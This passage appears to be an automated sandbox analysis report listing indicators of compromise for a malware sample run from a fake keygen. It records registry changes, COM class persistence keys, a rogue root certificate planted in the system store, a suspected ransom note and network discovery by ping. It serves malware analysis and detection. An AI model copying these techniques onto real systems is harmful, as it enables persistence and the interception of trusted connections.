Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	app.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	app.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exePING.EXErundll32.exegoogle-game.exesvchost.exeMicrosoftEdgeCP.exesvchost.exeE0C9.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 14001f44471a0359723fa74489c55595fe6b30ee0000
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\MRUListEx = ffffffff
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\MRUListEx = 00000000ffffffff
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\dollarsurvey.org\ = "9"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\MRUListEx = 00000000ffffffff
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\dollarsurvey.org\Total = "74"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\LocalServer32	PING.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{80213E82-BCFD-4C4F-8817-BB27601267A9}\GroupByDirection = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\rub4hiz1.hxz\\GOOGLE~1.EXE"	google-game.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "7124"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0200000004000000030000000100000000000000ffffffff
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 413d0a152036d701	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 1a2f8eff1f36d701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 96b4d8042036d701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "9"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\Total\ = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 301bd569d72dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000efe85a27f75fc26af9d63e8120de20b26784243f9b5d0c83f46dacd8e068358d16f40ec37cde148c5b7b7b8290f161dd7ea94209e1c31a25b895bb9e1f1e	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	E0C9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Generic"
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0200000003000000040000000100000000000000ffffffff
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\dollarsurvey.org\Total = "142"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

keygen-step-2.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	keygen-step-2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	keygen-step-2.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

3964 NOTEPAD.EXE
Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

4164 PING.EXE
1868 PING.EXE
5816 PING.EXE
Suspicious behavior: AddClipboardFormatListener 3 IoCs

Processes:

lighteningplayer.exe

pid process

576 lighteningplayer.exe
3040
3040

pid	process
3964	NOTEPAD.EXE

pid	process
4164	PING.EXE
1868	PING.EXE
5816	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exerundll32.exesvchost.exe5661775.exechrome.exechrome.exechrome.exeultramediaburner.tmpTugaeharuxae.exe

pid	process
188	chrome.exe
188	chrome.exe
3680	chrome.exe
3680	chrome.exe
4580	chrome.exe
4580	chrome.exe
744	chrome.exe
744	chrome.exe
4780	chrome.exe
4780	chrome.exe
4232	chrome.exe
4232	chrome.exe
4292	chrome.exe
4292	chrome.exe
2272	chrome.exe
2272	chrome.exe
5036	chrome.exe
5036	chrome.exe
1996	chrome.exe
1996	chrome.exe
1996	chrome.exe
1996	chrome.exe
904	rundll32.exe
904	rundll32.exe
3328	svchost.exe
3328	svchost.exe
3328	svchost.exe
3328	svchost.exe
3672	5661775.exe
3672	5661775.exe
4612	chrome.exe
4612	chrome.exe
4380	chrome.exe
4380	chrome.exe
4796	chrome.exe
4796	chrome.exe
3972	ultramediaburner.tmp
3972	ultramediaburner.tmp
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
